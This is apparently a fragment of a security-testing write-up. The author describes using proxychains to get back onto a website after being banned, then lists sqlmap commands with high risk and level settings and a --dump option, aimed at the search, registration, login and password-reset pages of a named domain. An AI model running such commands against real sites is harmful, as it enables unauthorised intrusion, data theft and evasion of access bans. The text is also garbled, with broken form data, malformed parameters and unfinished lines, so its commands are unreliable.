So, using proxychains, I managed to access the website after I had been banned.

I tried to find sql injection vulnerabilities on any of the pages that allowed or asked for user input. Here are the commands I tried. As you probably guessed, no vulnerabilities were discovered.

The results showed that the server was

The search page

```
proxychains sqlmap -u
```

"https://daedalus-systems.tech-sourcery.co.uk/index.php?route=product/search&search=knob"

The register new user page

```
proxychains sqlmap -u
```

"https://daedalus-systems.tech-sourcery.co.uk/index.php?route-account/register" --data

"-----312160266724025450251944745644\nContent-Disposition: form-data;

name=\"password\"\n\npassword\n-----312160
266724025450251944745644\nContent-Disposition: form-data;

66724025450251944745644--\n\n------41895940 2723251904713225479109\nContent-Disposition: form-data;

04713225479109--\n" --risk 3 --level 5 --dbms mysql --dump

 $name = \verb| "agree | " | n | n | n -----4189594027232519$

The user login page

proxychains sqlmap -u

"https://daedalus-systems.tech-sourcery.co.uk/index.php?route-account/login" -data

"-----10225344102476555895450749570\nConte nt-Disposition: form-data;

name=\"email\"\n\nAidan\n-----102253441024

76555895450749570\nContent-Disposition: form-data;

The forgot my password page

```
1879 proxychains sqlmap -u
```

"https://daedalus-systems.tech-sourcery.co.uk/index.php?route=account/forgotten" -data

"-----231960497037379637281406524027 \n cont ent-Disposition: form-data;

name="email"\n\nredyelruc1@hotmail.com\n-----
